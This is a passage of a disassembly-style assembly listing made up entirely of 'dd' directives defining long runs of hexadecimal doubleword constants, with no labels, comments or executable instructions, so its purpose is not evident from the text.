		dd 1CF49EA8h, 16A06867h, 92B163F8h, 71263EBh, 0B01B96F1h
		dd 824D15F8h, 53490309h, 3601960Dh, 65321B50h, 581A8A40h
		dd 0B59222F1h, 98463058h, 11003621h, 0F296967Fh, 79AF69E4h
		dd 27C8F38Ch, 4035180Dh, 90C29A59h, 4CA00E4h, 3C78965Ch
		dd 68AC5940h, 4B87CDAh,	0B8EBA539h, 0D0367E1Ch,	0C25029DAh
		dd 0B2921237h, 3749531Ah, 2E604EF8h, 75F30Dh, 0F7A4F832h
		dd 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h,	462E615Ah
		dd 4828A618h, 0A1451A78h, 40906529h, 0B495D931h, 97149424h
		dd 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh, 1ADB5345h
		dd 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h, 99659D6Dh
		dd 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h,	1E8F00F3h
		dd 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h, 53448C2Ch
		dd 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h,	301E548Ah
		dd 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h, 3BC44345h
		dd 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh, 6B505B2h
		dd 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh, 0F1191845h
		dd 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h, 0B93DCECh
		dd 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h, 42C3F180h
		dd 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh,	0B690D70Fh
		dd 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h, 310A892h
		dd 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh, 371D1500h
		dd 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h,	0A08A565Fh
		dd 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h,	51F3012h
		dd 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah, 0E0E031F8h
		dd 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h, 0D0035FEh
		dd 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h,	518D0A1Bh
		dd 308A5027h, 0A3888152h, 7A401A47h, 45ABA1A4h,	6C468A1Ah
		dd 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh,	0A53A2873h
		dd 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h, 3DFA6395h
		dd 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h, 182B28C0h
		dd 310605BDh, 10AB05C4h, 82D29A3Fh, 8ADAA42Dh, 76211B75h
		dd 0DD75348Bh, 0D71714EFh, 5C084363h, 0C62B411h, 1FA4863h
		dd 29F6E5AEh, 0A930E07Bh, 0C5A32E1Eh, 5C3B8385h, 0E11D4F03h
		dd 0A5ADCF67h, 1ACE1A21h, 0E565748Dh, 690081F1h, 0B148E95Ah
		dd 0DB17E0C7h, 70A4CC8Ah, 0C2979E59h, 4E3E1225h, 0C3135B3h
		dd 0BDC617D1h, 0EC1EA9F7h, 0F10C9F04h, 0DFA697D8h, 0ECC027CBh
		dd 0E671A9A8h, 2E09AD00h, 846D104Fh, 953E9185h,	0A2A14555h
		dd 0EC7E6394h, 7623944Ch, 537B117Ch, 38421ADEh,	6A12E89h
		dd 20FA0853h, 0CBB88F83h, 96944407h, 404EA16Ah,	11EEAD54h
		dd 0D11BD07Fh, 8884381Fh, 37A9D1B9h, 0C5B590B3h, 4061D044h
		dd 330F6362h, 71835371h, 93311F27h, 359A3BC0h, 5AE4CADh
		dd 9290004Ch, 0C5F1DA60h, 306CBCD5h, 6C5A3F81h,	0A37096C8h
		dd 0A1B38BADh, 1786238h, 70111C8Ch, 62DD51Ch, 59AC36BEh
		dd 0F51867C9h, 2920FC7h, 0D2165795h, 6E660A2Ah,	0E1F41896h
		dd 9D4FA4Fh, 401E7AD4h,	72375FE5h, 5DD6D872h, 0D7A9B00Dh
		dd 23358E42h, 0AC92F0FDh, 0E42AD1AEh, 91D06591h, 1AF7A4A1h
		dd 55411C18h, 0C207D201h, 4981CA2Eh, 0A1DFDD2h,	4268DEB1h
		dd 97D12CDh, 0E473B6F2h, 0AF58AA14h, 53F001AEh,	804CD627h
		dd 0F3B9C3h, 0B6ACAD16h, 160B0693h, 0E6B02E72h,	0BAA15B9h
		dd 72A2471Bh, 40899853h, 0EF5BE47Ah, 90C69EC1h,	0D87ACDAEh
		dd 0DCA84240h, 0A0225A2Ch, 0A56BA046h, 1FE7914h, 0AE4A975h
		dd 6502C426h, 0CC536986h, 523FD59Ah, 0C9FA4579h, 0A3669C9Ch
		dd 2ABDA3A4h, 865F0C68h, 91EB69D6h, 68562081h, 4A8B81ACh
		dd 984C1CEDh, 68CACE8Dh, 0AE9A932Ah, 8F1A9889h,	6609ACB9h
		dd 0E85C9689h, 606CCCB6h, 15375437h, 7957871h, 0B515FEBDh
		dd 8F3D1E6h, 99B93352h,	23965A8Ah, 0B1400481h, 0EC0C88C0h
		dd 8834552Bh, 0E4AE6516h, 0C12A1B09h, 0D15BD114h, 0AD46CA0h
		dd 0ACCC2E0h, 0D1F4C027h, 47ADB43Eh, 419254F5h,	920FFC82h
		dd 305EB22h, 0FBFDD23Ah, 86351511h, 7EC3AD05h, 0C04484A0h
		dd 54D68962h, 0F37D700Eh, 0C3A70069h, 0DB440479h, 9AD9361Bh
		dd 818C40EAh, 0EFFD4979h, 0B5ED7EC3h, 7596E0F4h, 0AC7C8958h
		dd 899F15EBh, 65923F23h, 4927BC0Dh, 0DA09FE0Fh,	66CFE844h
		dd 304B16Dh, 0FE2FCF66h, 21D68953h, 8C7E5738h, 0FF113174h
		dd 5C4992D2h, 36DA2D44h, 6B14C54Ch, 1398E53h, 0DE808B92h
		dd 26051044h, 0B1BBD2D3h, 5F318240h, 0B40C28ACh, 20666B2Ch
		dd 0D1A923F1h, 0C4AD1D85h, 681188D0h, 0DB97504Ch, 8431B2B4h
		dd 6038F7Ch, 7159B370h,	0DB7CB94Bh, 97348DCBh, 978FCCCDh
		dd 0B0DD22CDh, 0BE520D29h, 975580AEh, 0A306A073h, 0CB6B1A28h
		dd 387A5639h, 0B98BB29Dh, 0CEE490DCh, 11FB07FCh, 42108884h
		dd 6FBFE41h, 231C976Ch,	181D39D8h, 0D7A4ADh, 706C08A3h
		dd 0F423626Bh, 0BBB168BEh, 142DAA24h, 0A200C923h, 116FCFCh
		dd 9689D314h, 8AD2A427h, 7C50A28Fh, 629A0531h, 1A75494Ch
		dd 0CC093F3Ch, 29689C89h, 24E38E4h, 47CAA399h, 5C323FF7h
		dd 0F64C0FDDh
		dd 43077211h, 8034022Ah, 17628A61h, 221FB239h, 0A16FB807h
		dd 8B47657Bh, 7E575CCDh, 0F309A760h, 294212A8h,	9A888AE2h
		dd 8EA0631Fh, 8ACD02Ah,	0C23E32C4h, 82A7286h, 0C1328BF0h
		dd 42D5FC91h, 4C488172h, 22BD0256h, 9B9C0C10h, 0A27A9F94h
		dd 225D0A60h, 1B5184EFh, 73691C17h, 429E16CCh, 0A183EEB5h
		dd 44DEB43Eh, 8F1168C4h, 0E83CFBA0h, 4AF2264Fh,	1620304h
		dd 0BADF7D5h, 0B2823944h, 69BB71h, 655D7D91h, 8C1BC6C4h
		dd 852BAD17h, 91438172h, 34E33942h, 0D0A2E880h,	55961207h
		dd 813EF737h, 46179674h, 55B16ED1h, 91683F79h, 0F5419183h
		dd 62455BF1h, 943FEE74h, 91A19BEBh, 9C7EEB45h, 46815A40h
		dd 0FCA13EF8h, 5A25D4D9h, 0A9294A91h, 0C7A9C978h, 3548803Ch
		dd 160F484Fh, 2D72462Dh, 0DCDA5112h, 66BB763h, 0DE97A86Bh
		dd 1FCB65F6h, 0E9A02203h, 0C16EA424h, 977161D9h, 0BABDB2B6h
		dd 677BE409h, 0AB3C9992h, 7FE16B3h, 79319848h, 142C8BF8h
		dd 54325A18h, 0C15AC02Bh, 0EF6593B7h, 0EA88A3B1h, 23A0A7D3h
		dd 8ED6034Fh, 3A613BCh,	0D3D0A0E4h, 0CDA13280h,	382849ABh
		dd 50128978h, 0F2D17B2Ah, 342A768Dh, 0AD13F4C1h, 98F1A441h
		dd 0A23CD8CAh, 0D3D4AB35h, 0DCF16AA6h, 723C96CEh, 1D621E35h
		dd 678846B0h, 1F44D4BDh, 0CE77D6F8h, 0E23501AEh, 45FBD85Dh
		dd 151002B9h, 2157B628h, 23918ECh, 98A0788Fh, 0B80DE237h
		dd 0A367F208h, 45693C47h, 4DB46DB0h, 0E5C80280h, 0B45FDB72h
		dd 427C5654h, 878C3D70h, 4E18A27Ch, 91207306h, 2006B87Ah
		dd 20C81888h, 22DB3144h, 2AE94617h, 66D6D0Ah, 0FC20910Ah
		dd 213871B8h, 0FAA4501Dh, 91C12E3h, 88145CC4h, 90A0453Eh
		dd 0B82A4C73h, 1B303104h, 90AE8B96h, 0AA3BC96Ah, 0C3915568h
		dd 92A3A2F9h, 0A289005Fh, 2AA48451h, 0C96A4165h, 0FC0B9B30h
		dd 78118334h, 7E987024h, 0BC154A53h, 30EF9C44h,	4CE06D1Ah
		dd 818C8422h, 0B4549CAh, 0A96F01B1h, 0F27CF0E2h, 3419D388h
		dd 5590AB31h, 445E4184h, 0C2D8A545h, 45BC79FAh,	345BCFA3h
		dd 5B85D8CBh, 0B024DA04h, 354B204Fh, 0A04CE40Bh, 9ECB9FD8h
		dd 688017ABh, 441D7B3Fh, 0DD4834D2h, 41AAC924h,	14D54215h
		dd 0FE7ED1F4h, 0CD6A450Ch, 0FE9DC60h, 0C3071146h, 2185FD64h
		dd 86DD4E9Bh, 61F6C725h, 877F8F14h, 5D11F250h, 989C08Ch
		dd 68C8E368h, 0B2D12A8Dh, 0F63CB632h, 0E4DA9D68h, 2F80108Ch
		dd 2EA8779Dh, 6BB67D97h, 8515FD8Ch, 2D1D2D88h, 0FBE8862Bh
		dd 12E98644h, 81FC8C5Dh, 0EECC0EC5h, 83D2EC2Eh,	0A845A4A9h
		dd 5A38F902h, 0F2500C22h, 81A1028Ah, 93F01362h,	35017700h
		dd 9DE428E0h, 653FBAB6h, 0E64B69EDh, 815C8920h,	5B901888h
		dd 19EDA20Dh, 0FC00FDB9h, 0E48136B4h, 0B02E3192h, 1AD80570h
		dd 870D531Ah, 56559843h, 4365F7DCh, 0B41AB519h,	9ED4CD63h
		dd 37194715h, 0FA4654A6h, 7820E442h, 81D69476h,	6925C583h
		dd 57C18B6Ch, 110A92h, 2EDD1B4Fh, 0E0DD722Ah, 676266D7h
		dd 58CA9CE8h, 818D89Dh,	6B32838Ch, 0A5029023h, 0E8F35084h
		dd 4C56EA82h, 1446436Eh, 6CAC2850h, 2C637FC1h, 195C358Eh
		dd 5151BB4Ah, 0C296BBC0h, 60C6BEE7h, 0D35D5845h, 6C6B9DB4h
		dd 14F9A38Ch, 0B40E7974h, 0E497EDD2h, 0CF742510h, 58E30C25h
		dd 9BB732ECh, 0D1D171F0h, 0DD403F29h, 0A8DCD153h, 469B6EE8h
		dd 918832F8h, 0D607987Bh, 0A2103195h, 0D1AFE7CFh, 0EE27855Eh
		dd 390B7CFBh, 24FCE51Fh, 0AD839ACDh, 1F133A0Ah,	16E8D2DEh
		dd 81E9AE3Eh, 2D02615Eh, 6230A7E5h, 59B5B89Dh, 4EC6B7C0h
		dd 0A05B47DBh, 0D989EF6Fh, 6EA2F3D5h, 6A29EA98h, 0F49C7E51h
		dd 6733C4E0h, 598B220Ch, 5C8CF4CDh, 913A6906h, 7AD53986h
		dd 16051FB4h, 0E53007B4h, 710DBE47h, 91195FDh, 664A21E5h
		dd 0CC4D7E66h, 30DAB9EBh, 16446055h, 8901CC05h,	11CCB07Fh
		dd 0C456C92Bh, 0E46CCCD8h, 2B57887Ah, 46F08331h, 951C1171h
		dd 805A1C97h, 8E3BE156h, 0F2AAD3h, 52185425h, 0F8016011h
		dd 0FC243C52h, 640A250h, 95836DDCh, 89D33676h, 0DD6C79A8h
		dd 8F1D6585h, 88185638h, 33634C30h, 3C8C5030h, 0A09C6472h
		dd 0B576B0C2h, 1A484BEEh, 46BC3E30h, 0F67F2CADh, 97319634h
		dd 1C18BA52h, 18FCE99Bh, 0A2CAD631h, 0D242A830h, 0D2487D28h
		dd 50679588h, 85F2DCE9h, 2B9305C9h, 893476C3h, 1AC9BFCh
		dd 18833B8Dh, 9C45530Fh, 854B10D6h, 0DF91AC53h,	0A76D015Dh
		dd 4BAD134Eh, 7D3F5447h, 25A201DEh, 0F2C62F74h,	4BBEA010h
		dd 0E6BDA879h, 39BE521Dh, 0A0D669A2h, 2D2B9E5Ah, 0CA228A43h
		dd 93525991h, 0A2702F73h, 0CFEA0495h, 75111977h, 0A03138C2h
		dd 823B8C39h, 0C962B689h, 34BD4F51h, 0ABD43E90h, 0D0C472F5h
		dd 0A9DC228Ah, 45C35E5Ah, 985DD511h, 0B908E863h, 0E6119660h
		dd 56F5968Fh, 0E110B634h, 0DD1F68E7h, 9B00688h,	546D6BC0h
		dd 28151205h, 5C57660Eh, 1CDE0509h, 4535BFD0h, 69D58151h
		dd 6AE01BDh, 0DBEA392Ah, 0F0D02C86h, 5C4D8DA3h,	0D28BABCFh
		dd 4E730A00h, 0BA62C285h, 0A9933088h, 0F3CCC3EDh, 54D5F8A6h
		dd 2CC32C36h, 6F922B11h, 0ED2CD8FCh, 0F87E85BFh, 4BADF16Ah
		dd 85121685h, 0B9404D98h, 59E387F8h, 60E2100Fh,	92C6220Fh
		dd 939EDA1h, 0BFDB59E5h, 124C4105h, 5A326CBAh, 45DC4AA4h
		dd 0D3E8E102h, 440CDD48h, 9D41AAEh, 0E228B9AEh,	158FA908h
		dd 54040350h, 0FA4C4AC9h, 5045C6D4h, 1A5232FCh,	0CB413F08h
		dd 8B4442F5h, 224276B4h, 983A12DAh, 5589830h, 7E418DA8h
		dd 127890CFh, 0D1081506h, 0A3E09707h, 990CC252h, 7F5B7AA3h
		dd 0D5D02E97h, 8B290801h, 0C9FC102Eh, 91142281h, 5D02FB84h
		dd 272BC036h, 6CC2D4FCh, 71A9147Dh, 61B622A4h, 3FDBEACAh
		dd 6C152E97h, 0B6E3D77Fh, 5B5AEB0h, 0BA8072D2h,	231BD50Eh
		dd 968BEB46h, 0E17A4BF1h, 82EDA688h, 0FC8200D4h, 68E1263h
		dd 34CF8EECh, 22B6AD39h, 0E266944Ch, 22B60BA2h,	0ED6ED14Ch
		dd 0E3020FE3h, 655F9BCEh, 548AA703h, 0CA70551Bh, 0C6A82FDCh
		dd 0DEC4E50Bh, 0CA5AFCA5h, 0EF440A30h, 0E058A104h, 0B655EC2Bh
		dd 2298BA10h, 14F356DBh, 61870B24h, 85FABC46h, 9C48B585h
		dd 8801667Eh, 6C863022h, 5FBFA7E7h, 8D5B21ECh, 843F5E7Eh
		dd 0A82CD905h, 19753B63h, 6246B028h, 0D1FC059Ch, 49B1644Ah
		dd 2952C2BFh, 0CA35F373h, 0A2782B3Fh, 0D32A8ADh, 59FBB21Ch
		dd 0CE01C76Ah, 194CC49Eh, 0BF840555h, 0CBEC383Ch, 514760h
		dd 5D8CFA85h, 0F40648D9h, 0E9C02C0Eh, 9833A4A0h, 0C4C8BBCCh
		dd 3B52E97h, 28311A18h,	23A054C8h, 0F5DB5013h, 0C6A56546h
		dd 0B061D838h, 0ED5072B1h, 2574934Ah, 7F514CCAh, 0B9EB94A6h
		dd 0C48D25FEh, 9748425Bh, 4B084D00h, 4AC8892Bh,	4A808922h
		dd 4A488919h, 0DCC88910h, 28ED69FCh, 5DC7A35Dh,	2B30FE40h
		dd 878CBBD8h, 0CC328C3Bh, 14065Fh, 550EC5h, 0F5BFC0h, 6761AC38h
		dd 448B0208h, 0E11EC022h, 0DB440626h, 8F68E223h, 423D7B38h
		dd 0B48811EDh, 6FE1AC47h, 0A9EAF124h, 94C6CA82h, 6D3B8A78h
		dd 32E9988Bh, 1D84A4Bh,	8FCFE952h, 0A96BC375h, 5CFAF367h
		dd 71C1574Ch, 0EE407F91h, 4E29F272h, 920BB310h,	4F53E824h
		dd 66E5BC35h, 70B30C8Dh, 0D5C567Dh, 0E5C1D286h,	0C0CE0CAAh
		dd 45F8445Eh, 562814DBh, 9193946Bh, 34A46F70h, 0E05114D0h
		dd 8FFB9EC4h
		dd 0B1E2307Ch, 7A3DBC34h, 785D7485h, 23CC29C1h,	8D45F9F9h
		dd 0F7E61240h, 26976D13h, 5C7059h, 0C8DA2437h, 2202E189h
		dd 0A44983DCh, 7114C4F1h, 42BFE238h, 0A1B91508h, 1C78251Eh
		dd 510B54Ch, 0A10CEE62h, 560885Ah, 116F5A01h, 0FA1C2BC2h
		dd 30D48B98h, 0E892A8FEh, 8E065E83h, 2AF1A59Bh,	17619022h
		dd 0D6540A45h, 21BCCCDh, 4E9640A7h, 38F46615h, 0C6222C58h
		dd 0B490779h, 4032D90Dh, 5B42BDC8h, 2C9B7216h, 0E1BCD015h
		dd 10C498DFh, 43884D22h, 0C8A3D0Ch, 1826885Ah, 4C261B42h
		dd 12007102h, 89A060F8h, 597A582Fh, 441AC60Dh, 587E8D5Ah
		dd 0F225118h, 85C7450h,	0C9178115h, 278E6F46h, 0F31E51C1h
		dd 1FB9E304h, 0A5942B7h, 0ADCA5282h, 2A0E7C0Bh,	8B9F85D2h
		dd 4208D748h, 0CC424344h, 5F880793h, 31A2102Fh,	6BE0170Eh
		dd 0F5BC173h, 28A4C2Ah,	3134F791h, 0E4511FAFh, 8268F1E5h
		dd 0BE4D13CFh, 31707937h, 58D13C7Ah, 4A876D96h,	0BC37254h
		dd 0CEF67051h, 6194FBF0h, 52230DFCh, 72B3268h, 45076ADCh
		dd 25F862D0h, 37C89830h, 0C0C4898Dh, 2C1E5EABh,	0E3ABC520h
		dd 0A4525010h, 10B4E440h, 1AD2E6F1h, 0C4AB058Eh, 0A48F89BCh
		dd 42D0A090h, 6C8A9B84h, 28636628h, 118726E1h, 811B081Ah
		dd 3505527Fh, 35C86486h, 0A7B129A0h, 5185EFEAh,	4CC27A1h
		dd 0E4D61594h, 4BA43733h, 18C4B7D1h, 2982F854h,	0B1F1A6h
		dd 6381B340h, 840F189Eh, 0B30DCFFEh, 0CE609013h, 9028FCCFh
		dd 171F4C69h, 2B79E28Ch, 3C282AA7h, 0F0D31139h,	71E583B9h
		dd 0BE4B4823h, 2324D57Ch, 399A424h, 0D126124Fh,	63898456h
		dd 4E44702Dh, 0B1A9CB3h, 7EFD0BA2h, 0C5E701B8h,	15A8CD91h
		dd 2EBB60B0h, 16A47E13h, 408C850Ch, 211CAE10h, 7BD08E24h
		dd 843C4B0h, 61AB1A1Eh,	6B6A9860h, 0E3F2C0A8h, 0CD20B4Ah
		dd 409CECEh, 0A6D817Fh,	0C1127202h, 0DC19981Fh,	59E2BC3Ch
		dd 23265D1h, 0F42C1789h, 8935EC4Ah, 59291524h, 7350EE03h
		dd 69783E3h, 28E8276Ah,	51A266BAh, 91A3E1C4h, 5E56998Bh
		dd 9A023E08h, 9902E5A0h, 6F0836Fh, 5FD528A6h, 6916A839h
		dd 0BA92515Eh, 5EF57A00h, 0CA7D6A1Fh, 0F94FCA17h, 23AA1919h
		dd 289146Ch, 0F4119390h, 11ACF585h, 0B3E997A8h,	6721F2CCh
		dd 3E80271h, 0F622FB7Eh, 471128A2h, 2758CCBEh, 86EBF98Ah
		dd 0D102B1Fh, 0A4BE6A87h, 0FE19747Dh, 1BB68A7Fh, 2849C259h
		dd 797BE347h, 0DEAB7C4Dh, 53505C54h, 0C48918B0h, 0AE6459E1h
		dd 0CDF822A7h, 4457C4C8h, 5FBEE48Ah, 7468656Eh,	4E56E05Fh
		dd 0C28E1647h, 0A2A64793h, 84AE3A2Eh, 575DF174h, 31688E6Ah
		dd 68231CFAh, 0B820D062h, 0F44E2354h, 52BEB52h,	5CACD178h
		dd 0A02FA9C0h, 824C25A3h, 85885A96h, 0AB4A4FCAh, 0AFFA2A1h
		dd 2112D158h, 6B1F6275h, 26D598C2h, 0A26D44A0h,	92260449h
		dd 22895444h, 108AC591h, 443DB571h, 2C886D60h, 0DAD0884Dh
		dd 0C4369D04h, 0E57B89C8h, 1B401B8Eh, 9D6C532Dh, 309A9F38h
		dd 310944D0h, 10D2C551h, 44B2B5D1h, 7F146D78h, 1CCA3307h
		dd 12981902h, 1E447611h, 0D8C4C26Bh, 0D0B29E26h, 2358B073h
		dd 84A1779Dh, 0BAC78027h, 506E8C44h, 6804B8F0h,	1CB7C44Dh
		dd 2A0740A0h, 0EC0A5380h, 6806DECh, 0DC012D13h,	0CA237BE0h
		dd 713B4414h, 0A2180306h, 0E8230095h, 0D792C4FDh, 0D10FE7A5h
		dd 0DE32F661h, 125EDC2Ah, 0C4A2A95Fh, 0ADB6B4Dh, 0B57F24F9h
		dd 0A1EEFB46h, 179797BAh, 0A9EE5F31h, 0DEA6E4CAh, 1A77F90h
		dd 3791F44h, 739F589Dh,	0B1656EBh, 0C727E063h, 895A28EFh
		dd 2EE21312h, 0BEED3C8Fh, 0E7F215CEh, 401A699Eh, 0F3E241CAh
		dd 8520B1A0h, 78773A85h, 0C1C3EAFBh, 2F5F3F8Ch,	82204B10h
		dd 0C9F00D62h, 3221AB90h, 0BAD946A4h, 0F6A2E3EDh, 848489D8h
		dd 424A00D2h, 5B396D82h, 3FC4388Ch, 116304D8h, 2E8A42EDh
		dd 0E90F8CC6h, 791E173Ah, 648ADF41h, 9833E760h,	0D578DA00h
		dd 80863B9Eh, 617859C9h, 8A09FB92h, 1CF20724h, 0D873F7DBh
		dd 77609A02h, 0CF0DB194h, 1F66DECCh, 55456F5Dh,	46283C98h
		dd 9EA07474h, 0A565D1ABh, 66C0196Eh, 89AA5E1Ah,	8A4F8AAh
		dd 0BC763EDFh, 5DB1A68Bh, 40F4BCBEh, 0B1D4B5CEh, 3E9C6314h
		dd 6576B022h, 483AAD0h,	0EF3C557Eh, 4576CAA1h, 0E990FE91h
		dd 4A9FD362h, 1055675Eh, 0D629350h, 67D3DB3Dh, 0CF515C53h
		dd 354594F9h, 0D1A668A2h, 0DA405FB7h, 722EC80Dh, 0C073235Bh
		dd 0A207B803h, 48244074h, 0BD7D0619h, 68700405h, 91E2A6C1h
		dd 414A4D6Dh, 0AF819C1Fh, 93F4656Fh, 0AF5CF0BFh, 0FAD80CF3h
		dd 0FD05B029h, 0E863893Eh, 0AE97C7Ah, 981A7064h, 45E04E01h
		dd 590BE3Fh, 84468E9Eh,	0FE565564h, 2AB8D6D1h, 29084FA0h
		dd 581E9183h, 461F85A4h, 0E084701Eh, 495AF383h,	0C49F3117h
		dd 0C2440226h, 308F4413h, 2EA1517Ah, 986355Bh, 0C2C4A175h
		dd 8FABD245h, 4B455CDh,	4AF9A127h, 0BF7A5231h, 0D0572BDFh
		dd 0A983F9FEh, 1F2772E2h, 72686D01h, 91D20585h,	44C1C36Bh
		dd 4EE7D03Bh, 493B1F20h, 8A1FC654h, 0AA13B116h,	6070506Bh
		dd 6014A0h, 0FE55BE82h,	0C0A8C898h, 0B41043B5h,	69618389h
		dd 0A3189F01h, 711EFBC5h, 9E69D094h, 7999E8E4h,	667E9830h
		dd 8DC41EE8h, 9B402AB6h, 33DE2DDCh, 0FF03816Fh,	0E837E324h
		dd 0BD596517h, 21801F05h, 681B5B85h, 2DBD327Dh,	56E9D1C7h
		dd 0C906ED51h, 18B8BC2Eh, 0CB840FD7h, 0C34B3F02h, 7A4DE7D1h
		dd 0DCA760AEh, 0A900593h, 0E05E8952h, 0D1090575h, 95963307h
		dd 0E5184B33h, 20D4908Fh, 2EE73B34h, 0FFF1A026h, 0F2FAFA45h
		dd 1D5C58C3h, 0B2D0385Fh, 2343818Bh, 0C4B0DB60h, 0E5ABF2ADh
		dd 979C2EF4h, 377BAC0Bh, 0C5CA68F0h, 36EEC751h,	3F1C1409h
		dd 9BBBE810h, 6063AE62h, 0D4214FC3h, 3DBC7731h,	0C772E032h
		dd 1BDE7A28h, 0AF745458h, 0C6942544h, 77295CC3h, 0EE904FC3h
		dd 8292FC68h, 47585A23h, 0B1D2D9Eh, 0B4744946h,	0BCEEF2E4h
		dd 2DB320E3h, 739E0830h, 5106BB33h, 0E7E00779h,	9F2AE4D3h
		dd 0A430559Bh, 28602A05h, 7A218C3Fh, 68262457h,	9A482FD6h
		dd 5A230154h, 0C77FA5C9h, 8B062A20h, 8A884280h,	49E1D7F0h
		dd 0C4BE2A60h, 3A9A1DECh, 55002DF4h, 54324C05h,	60D4DC3Ch
		dd 3A49E809h, 25E21894h, 0E14D4ABEh, 55AFF6Eh, 0F2EEA857h
		dd 0CB7EBE23h, 0FD3144E8h, 84589104h, 6B4B08D7h, 123DDB5Bh
		dd 0CF8F8167h, 3B5EEE7Ah, 2E9E017h, 56393E33h, 0A7691045h
		dd 0BBD20415h, 38464AA0h, 794CAC2Bh, 0AA03EA68h, 476D0BF1h
		dd 0ECBD92ABh, 914B6057h, 44183F8Fh, 0A1812B8h,	90BF2523h
		dd 23BA975h, 0E75234A9h, 0B0801576h, 0EC42189Dh, 1C66FAE3h
		dd 97573551h, 45A273D7h, 34C9E040h, 9E37AE83h, 0D42DC61Eh
		dd 2D3120EAh, 3405C481h, 0D7452BC9h, 105618C2h,	0A881A211h
		dd 2DEEDA5Bh, 1608455Eh, 2035C5BBh, 0B3663202h,	3CC5A07Fh
		dd 0CA95B90Fh, 47CE7615h, 655A1CB8h, 21F8CA48h,	0BC22EEh
		dd 0A92B018Fh, 5B287620h, 9E32D050h, 745D312Eh,	0A3A18359h
		dd 2374A24Eh, 7E84B333h, 0E4D817DAh, 6D0FABA4h,	976BF385h
		dd 3886C275h, 211AC650h, 972E00DCh, 0F74D08F2h,	0D5D39392h
		dd 6C12CA05h, 0AA4DF921h, 0C55945D5h, 0ABA2B210h, 861131A3h
		dd 0C2B963Ah, 6E07AA80h, 0E08C16A0h, 40064454h,	0AF088A5Ch
		dd 0A1CBE300h, 394F584Bh
		dd 0D7B2A6FAh, 406E350Dh, 5C3039A8h, 0D08FB1E7h, 0CBF6024Ah
		dd 14A8A11h, 1354494Dh,	0FEAF33h, 27A0C0C1h, 819C8008h
		dd 6CEE205Bh, 16012BF2h, 527F89F8h, 681D1D0h, 824F01B7h
		dd 60AAF86Ah, 2F967AE0h, 0EA8BE7B3h, 0B56D8CF7h, 0A906CE6Ch
		dd 3805E50h, 9AEDD611h,	5967CF45h, 79A00D54h, 5400BCC0h
		dd 0D2F82370h, 305C2A0Bh, 9813EA32h, 5B806368h,	10C0CBB0h
		dd 9610AFFCh, 0A65B69C4h, 0E60A776Ch, 10C77797h, 1E96ADC7h
		dd 5FE90EECh, 6554E9FFh, 78441C02h, 4CFA2400h, 0E20B1A0h
		dd 91A8C426h, 0E950FBDFh, 5A4A2AC4h, 1656270h, 0D5C4991Dh
		dd 8CFFF4Bh, 0A5B288D6h, 1A4C6695h, 1A443252h, 15CE308Ah
		dd 0C082C408h, 895BF4C3h, 84C094CAh, 0D9DDA291h, 43D9506h
		dd 2C00132Dh, 2721560Ch, 97B15552h, 4ECA4F73h, 89628F1Ah
		dd 1B3765A1h, 0DFB24C07h, 0FA60ADEBh, 49D60E37h, 9C2940A9h
		dd 2AAFECD4h, 0F2A0A1E5h, 36865D27h, 1FC7F77Eh,	2D06CA5Eh
		dd 68957901h, 0C5309100h, 0B7B9D43Ch, 6614C0h, 0C510B761h
		dd 484F1C38h, 434955EDh, 434AD811h, 23618611h, 0ED470F39h
		dd 0B7ECE141h, 0D67E7490h, 1DC368F5h, 84308B8h,	0BD544634h
		dd 0B546608h, 4A020F05h, 0BE575079h, 3B542CA0h,	899F1B7Fh
		dd 0E8FB9718h, 0C7BE4B73h, 5B111CEDh, 261F2D4Ah, 0A3389849h
		dd 9C651B49h, 0C38D8020h, 42046E00h, 0C02407B5h, 48AC587Dh
		dd 0D4B5731h, 401AB15Eh, 1450C1A4h, 10935D8Ah, 82AFC61h
		dd 90D5D118h, 6F2A202Bh, 5845A055h, 18458C6Dh, 3A10D26h
		dd 2B090D2Dh, 0C696F475h, 66FECC62h, 5BB78176h,	72B85A07h
		dd 16EDD347h, 60A78C5Dh, 1BAE271h, 79F8EB84h, 0FEB28995h
		dd 29A5F967h, 2E72587Ah, 471DD432h, 479057D2h, 0D9EC4309h
		dd 7939E591h, 6E4A893Ch, 0D89C6DCFh, 28CA8C12h,	0FB54AB77h
		dd 7A4AA605h, 220479F6h, 0DF81955Ah, 2C4A9541h,	96088994h
		dd 0EF6EA820h, 5C02115h, 412758B6h, 0BFA80CA0h,	0B72A7017h
		dd 450543B0h, 0AA86E2E1h, 261E076h, 608AE553h, 618D8402h
		dd 0A0397E82h, 5E11D966h, 0D6E021F9h, 2252B275h, 3B187486h
		dd 0C5102097h, 6D8CFD81h, 4C344727h, 50D15D6Ah,	6D18872Eh
		dd 12B05F32h, 35C0C332h, 2C22B454h, 85555954h, 0AE60C17h
		dd 38D00DDCh, 0C1E7380Ch, 0E20A1A76h, 7D0CA4E6h, 385924A1h
		dd 66514455h, 0B4AD5541h, 0E381D58Bh, 8C5D0FC1h, 0C5D6CFD8h
		dd 889122A8h, 725A7921h, 1673D055h, 6431AAFEh, 0E731C882h
		dd 59CBCD64h, 71145A97h, 0D2D59A68h, 59E69531h,	9BC740CCh
		dd 68B58839h, 0BD399163h, 0E0FEDD33h, 4F4668E3h, 3D8E481Fh
